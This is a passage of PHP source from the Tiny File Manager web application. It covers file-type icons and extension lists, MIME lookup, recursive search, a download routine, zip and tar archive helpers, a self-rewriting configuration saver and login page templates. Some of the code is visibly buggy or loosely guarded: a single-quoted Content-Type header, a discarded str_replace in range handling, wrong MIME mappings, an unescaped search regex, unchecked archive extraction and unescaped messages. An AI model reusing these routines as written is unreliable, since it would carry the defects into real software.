        case 'less':
        case 'sass':
        case 'scss':
            $img = 'fa fa-css3';
            break;
        case 'zip':
        case 'rar':
        case 'gz':
        case 'tar':
        case '7z':
            $img = 'fa fa-file-archive-o';
            break;
        case 'php':
        case 'php4':
        case 'php5':
        case 'phps':
        case 'phtml':
            $img = 'fa fa-code';
            break;
        case 'htm':
        case 'html':
        case 'shtml':
        case 'xhtml':
            $img = 'fa fa-html5';
            break;
        case 'xml':
        case 'xsl':
            $img = 'fa fa-file-excel-o';
            break;
        case 'wav':
        case 'mp3':
        case 'mp2':
        case 'm4a':
        case 'aac':
        case 'ogg':
        case 'oga':
        case 'wma':
        case 'mka':
        case 'flac':
        case 'ac3':
        case 'tds':
            $img = 'fa fa-music';
            break;
        case 'm3u':
        case 'm3u8':
        case 'pls':
        case 'cue':
            $img = 'fa fa-headphones';
            break;
        case 'avi':
        case 'mpg':
        case 'mpeg':
        case 'mp4':
        case 'm4v':
        case 'flv':
        case 'f4v':
        case 'ogm':
        case 'ogv':
        case 'mov':
        case 'mkv':
        case '3gp':
        case 'asf':
        case 'wmv':
            $img = 'fa fa-file-video-o';
            break;
        case 'eml':
        case 'msg':
            $img = 'fa fa-envelope-o';
            break;
        case 'xls':
        case 'xlsx':
        case 'ods':
            $img = 'fa fa-file-excel-o';
            break;
        case 'csv':
            $img = 'fa fa-file-text-o';
            break;
        case 'bak':
            $img = 'fa fa-clipboard';
            break;
        case 'doc':
        case 'docx':
        case 'odt':
            $img = 'fa fa-file-word-o';
            break;
        case 'ppt':
        case 'pptx':
            $img = 'fa fa-file-powerpoint-o';
            break;
        case 'ttf':
        case 'ttc':
        case 'otf':
        case 'woff':
        case 'woff2':
        case 'eot':
        case 'fon':
            $img = 'fa fa-font';
            break;
        case 'pdf':
            $img = 'fa fa-file-pdf-o';
            break;
        case 'psd':
        case 'ai':
        case 'eps':
        case 'fla':
        case 'swf':
            $img = 'fa fa-file-image-o';
            break;
        case 'exe':
        case 'msi':
            $img = 'fa fa-file-o';
            break;
        case 'bat':
            $img = 'fa fa-terminal';
            break;
        default:
            $img = 'fa fa-info-circle';
    }

    return $img;
}

/**
 * Get image files extensions
 * @return array
 */
function fm_get_image_exts()
{
    return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg');
}

/**
 * Get video files extensions
 * @return array
 */
function fm_get_video_exts()
{
    return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}

/**
 * Get audio files extensions
 * @return array
 */
function fm_get_audio_exts()
{
    return array('wav', 'mp3', 'ogg', 'm4a');
}

/**
 * Get text file extensions
 * @return array
 */
function fm_get_text_exts()
{
    return array(
        'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config',
        'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue',
        'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py',
        'map', 'lock', 'dtd', 'svg', 'scss', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsx', 'jsp', 'jspx', 'cfm', 'cgi'
    );
}

/**
 * Get mime types of text files
 * @return array
 */
function fm_get_text_mimes()
{
    return array(
        'application/xml',
        'application/javascript',
        'application/x-javascript',
        'image/svg+xml',
        'message/rfc822',
    );
}

/**
 * Get file names of text files w/o extensions
 * @return array
 */
function fm_get_text_names()
{
    return array(
        'license',
        'readme',
        'authors',
        'contributors',
        'changelog',
    );
}

/**
 * Get online docs viewer supported files extensions
 * @return array
 */
function fm_get_onlineViewer_exts()
{
    return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}

function fm_get_file_mimes($extension)
{
    $fileTypes['swf'] = 'application/x-shockwave-flash';
    $fileTypes['pdf'] = 'application/pdf';
    $fileTypes['exe'] = 'application/octet-stream';
    $fileTypes['zip'] = 'application/zip';
    $fileTypes['doc'] = 'application/msword';
    $fileTypes['xls'] = 'application/vnd.ms-excel';
    $fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
    $fileTypes['gif'] = 'image/gif';
    $fileTypes['png'] = 'image/png';
    $fileTypes['jpeg'] = 'image/jpg';
    $fileTypes['jpg'] = 'image/jpg';
    $fileTypes['rar'] = 'application/rar';

    $fileTypes['ra'] = 'audio/x-pn-realaudio';
    $fileTypes['ram'] = 'audio/x-pn-realaudio';
    $fileTypes['ogg'] = 'audio/x-pn-realaudio';

    $fileTypes['wav'] = 'video/x-msvideo';
    $fileTypes['wmv'] = 'video/x-msvideo';
    $fileTypes['avi'] = 'video/x-msvideo';
    $fileTypes['asf'] = 'video/x-msvideo';
    $fileTypes['divx'] = 'video/x-msvideo';

    $fileTypes['mp3'] = 'audio/mpeg';
    $fileTypes['mp4'] = 'audio/mpeg';
    $fileTypes['mpeg'] = 'video/mpeg';
    $fileTypes['mpg'] = 'video/mpeg';
    $fileTypes['mpe'] = 'video/mpeg';
    $fileTypes['mov'] = 'video/quicktime';
    $fileTypes['swf'] = 'video/quicktime';
    $fileTypes['3gp'] = 'video/quicktime';
    $fileTypes['m4a'] = 'video/quicktime';
    $fileTypes['aac'] = 'video/quicktime';
    $fileTypes['m3u'] = 'video/quicktime';

    $fileTypes['php'] = ['application/x-php'];
    $fileTypes['html'] = ['text/html'];
    $fileTypes['txt'] = ['text/plain'];
    return $fileTypes[$extension];
}

/**
 * This function scans the files and folder recursively, and return matching files
 * @param string $dir
 * @param string $filter
 * @return json
 */
 function scan($dir, $filter = '') {
    $path = FM_ROOT_PATH.'/'.$dir;
     if($dir) {
         $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
         $rii = new RegexIterator($ite, "/(" . $filter . ")/i");

         $files = array();
         foreach ($rii as $file) {
             if (!$file->isDir()) {
                 $fileName = $file->getFilename();
                 $location = str_replace(FM_ROOT_PATH, '', $file->getPath());
                 $files[] = array(
                     "name" => $fileName,
                     "type" => "file",
                     "path" => $location,
                 );
             }
         }
         return $files;
     }
}

/*
Parameters: downloadFile(File Location, File Name,
max speed, is streaming
If streaming - videos will show as videos, images as images
instead of download prompt
https://stackoverflow.com/a/13821992/1164642
*/

function fm_download_file($fileLocation, $fileName, $chunkSize  = 1024)
{
    if (connection_status() != 0)
        return (false);
    $extension = pathinfo($fileName, PATHINFO_EXTENSION);

    $contentType = fm_get_file_mimes($extension);
    header("Cache-Control: public");
    header("Content-Transfer-Encoding: binary\n");
    header('Content-Type: $contentType');

    $contentDisposition = 'attachment';


    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
        $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    } else {
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    }

    header("Accept-Ranges: bytes");
    $range = 0;
    $size = filesize($fileLocation);

    if (isset($_SERVER['HTTP_RANGE'])) {
        list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
        str_replace($range, "-", $range);
        $size2 = $size - 1;
        $new_length = $size - $range;
        header("HTTP/1.1 206 Partial Content");
        header("Content-Length: $new_length");
        header("Content-Range: bytes $range$size2/$size");
    } else {
        $size2 = $size - 1;
        header("Content-Range: bytes 0-$size2/$size");
        header("Content-Length: " . $size);
    }

    if ($size == 0) {
        die('Zero byte file! Aborting download');
    }
    @ini_set('magic_quotes_runtime', 0);
    $fp = fopen("$fileLocation", "rb");

    fseek($fp, $range);

    while (!feof($fp) and (connection_status() == 0)) {
        set_time_limit(0);
        print(@fread($fp, 1024*$chunkSize));
        flush();
        ob_flush();
        sleep(1);
    }
    fclose($fp);

    return ((connection_status() == 0) and !connection_aborted());
}

function fm_get_theme() {
    $result = '';
    if(FM_THEME == "dark") {
        $result = "text-white bg-dark";
    }
    return $result;
}

/**
 * Class to work with zip files (using ZipArchive)
 */
class FM_Zipper
{
    private $zip;

    public function __construct()
    {
        $this->zip = new ZipArchive();
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $res = $this->zip->open($filename, ZipArchive::CREATE);
        if ($res !== true) {
            return false;
        }
        if (is_array($files)) {
            foreach ($files as $f) {
                if (!$this->addFileOrDir($f)) {
                    $this->zip->close();
                    return false;
                }
            }
            $this->zip->close();
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                $this->zip->close();
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->zip->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->zip->extractTo($path)) {
            $this->zip->close();
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            return $this->zip->addFile($filename);
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        if (!$this->zip->addEmptyDir($path)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        if (!$this->zip->addFile($path . '/' . $file)) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}

/**
 * Class to work with Tar files (using PharData)
 */
class FM_Zipper_Tar
{
    private $tar;

    public function __construct()
    {
        $this->tar = null;
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $this->tar = new PharData($filename);
        if (is_array($files)) {
            foreach ($files as $f) {
                if (!$this->addFileOrDir($f)) {
                    return false;
                }
            }
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->tar->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->tar->extractTo($path)) {
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            try {
                $this->tar->addFile($filename);
                return true;
            } catch (Exception $e) {
                return false;
            }
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        try {
                            $this->tar->addFile($path . '/' . $file);
                        } catch (Exception $e) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}



/**
 * Save Configuration
 */
 class FM_Config
{
     var $data;

    function __construct()
    {
        global $root_path, $root_url, $CONFIG;
        $fm_url = $root_url.$_SERVER["PHP_SELF"];
        $this->data = array(
            'lang' => 'en',
            'error_reporting' => true,
            'show_hidden' => true
        );
        $data = false;
        if (strlen($CONFIG)) {
            $data = fm_object_to_array(json_decode($CONFIG));
        } else {
            $msg = 'Tiny File Manager<br>Error: Cannot load configuration';
            if (substr($fm_url, -1) == '/') {
                $fm_url = rtrim($fm_url, '/');
                $msg .= '<br>';
                $msg .= '<br>Seems like you have a trailing slash on the URL.';
                $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
            }
            die($msg);
        }
        if (is_array($data) && count($data)) $this->data = $data;
        else $this->save();
    }

    function save()
    {
        $fm_file = __FILE__;
        $var_name = '$CONFIG';
        $var_value = var_export(json_encode($this->data), true);
        $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
        if (is_writable($fm_file)) {
            $lines = file($fm_file);
            if ($fh = @fopen($fm_file, "w")) {
                @fputs($fh, $config_string, strlen($config_string));
                for ($x = 3; $x < count($lines); $x++) {
                    @fputs($fh, $lines[$x], strlen($lines[$x]));
                }
                @fclose($fh);
            }
        }
    }
}



//--- templates functions

/**
 * Show nav block
 * @param string $path
 */
function fm_show_nav_path($path)
{
    global $lang, $sticky_navbar;
    $isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
    $getTheme = fm_get_theme();
    $getTheme .= " navbar-light";
    if(FM_THEME == "dark") {
        $getTheme .= " navbar-dark";
    } else {
        $getTheme .= " bg-white";
    }
    ?>
    <nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
        <a class="navbar-brand" href=""> <?php echo lng('AppTitle') ?> </a>
        <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarSupportedContent">

            <?php
            $path = fm_clean_path($path);
            $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
            $sep = '<i class="bread-crumb"> / </i>';
            if ($path != '') {
                $exploded = explode('/', $path);
                $count = count($exploded);
                $array = array();
                $parent = '';
                for ($i = 0; $i < $count; $i++) {
                    $parent = trim($parent . '/' . $exploded[$i], '/');
                    $parent_enc = urlencode($parent);
                    $array[] = "<a href='?p={$parent_enc}'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>";
                }
                $root_url .= $sep . implode($sep, $array);
            }
            echo '<div class="col-xs-6 col-sm-5">' . $root_url . '</div>';
            ?>

            <div class="col-xs-6 col-sm-7 text-right">
                <ul class="navbar-nav mr-auto float-right <?php echo fm_get_theme();  ?>">
                    <li class="nav-item mr-2">
                        <div class="input-group input-group-sm mr-1" style="margin-top:4px;">
                            <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
                            <div class="input-group-append">
                                <span class="input-group-text" id="search-addon2"><i class="fa fa-search"></i></span>
                            </div>
                            <div class="input-group-append btn-group">
                                <span class="input-group-text dropdown-toggle" id="search-addon2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
                                  <div class="dropdown-menu dropdown-menu-right">
                                    <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-toggle="modal" data-target="#searchModal">Advanced Search</a>
                                  </div>
                            </div>
                        </div>
                    </li>
                    <?php if (!FM_READONLY): ?>
                    <li class="nav-item">
                        <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
                    </li>
                    <li class="nav-item">
                        <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-toggle="modal" data-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
                    </li>
                    <?php endif; ?>
                    <?php if (FM_USE_AUTH): ?>
                    <li class="nav-item avatar dropdown">
                        <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[FM_SESSION_ID]['logged'])) { echo $_SESSION[FM_SESSION_ID]['logged']; } ?></a>
                        <div class="dropdown-menu dropdown-menu-right <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
                            <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            <?php endif ?>
                            <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
                            <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
                        </div>
                    </li>
                    <?php else: ?>
                        <?php if (!FM_READONLY): ?>
                            <li class="nav-item">
                                <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            </li>
                        <?php endif; ?>
                    <?php endif; ?>
                </ul>
            </div>
        </div>
    </nav>
    <?php
}

/**
 * Show message from session
 */
function fm_show_message()
{
    if (isset($_SESSION[FM_SESSION_ID]['message'])) {
        $class = isset($_SESSION[FM_SESSION_ID]['status']) ? $_SESSION[FM_SESSION_ID]['status'] : 'ok';
        echo '<p class="message ' . $class . '">' . $_SESSION[FM_SESSION_ID]['message'] . '</p>';
        unset($_SESSION[FM_SESSION_ID]['message']);
        unset($_SESSION[FM_SESSION_ID]['status']);
    }
}

/**
 * Show page header in Login Form
 */
function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <link rel="icon" href="<?php echo fm_enc($favicon_path) ?>" type="image/png">
    <title><?php echo fm_enc(APP_TITLE) ?></title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css">
    <style>
        body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
        .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
        .fm-login-page .brand img{ width:100%}
        .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
        .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
        .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
        .fm-login-page .form-control{ border-width:2.3px}
        .fm-login-page .form-group label{ width:100%}
        .fm-login-page .btn.btn-block{ padding:12px 10px}
        .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
        @media screen and (max-width:425px){ 
            .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
        }
        @media screen and (max-width:320px){ 
            .fm-login-page .card.fat{ padding:0}
            .fm-login-page .card.fat .card-body{ padding:15px}
        }
        .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
        .message.ok{ border-color:green;color:green}
        .message.error{ border-color:red;color:red}
        .message.alert{ border-color:orange;color:orange}
        body.fm-login-page.theme-dark {background-color: #2f2a2a;}
        .theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
    </style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">

    <?php
    }

    /**
     * Show page footer in Login Form
     */
    function fm_show_footer_login()
    {
    ?>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.slim.min.js"></script>
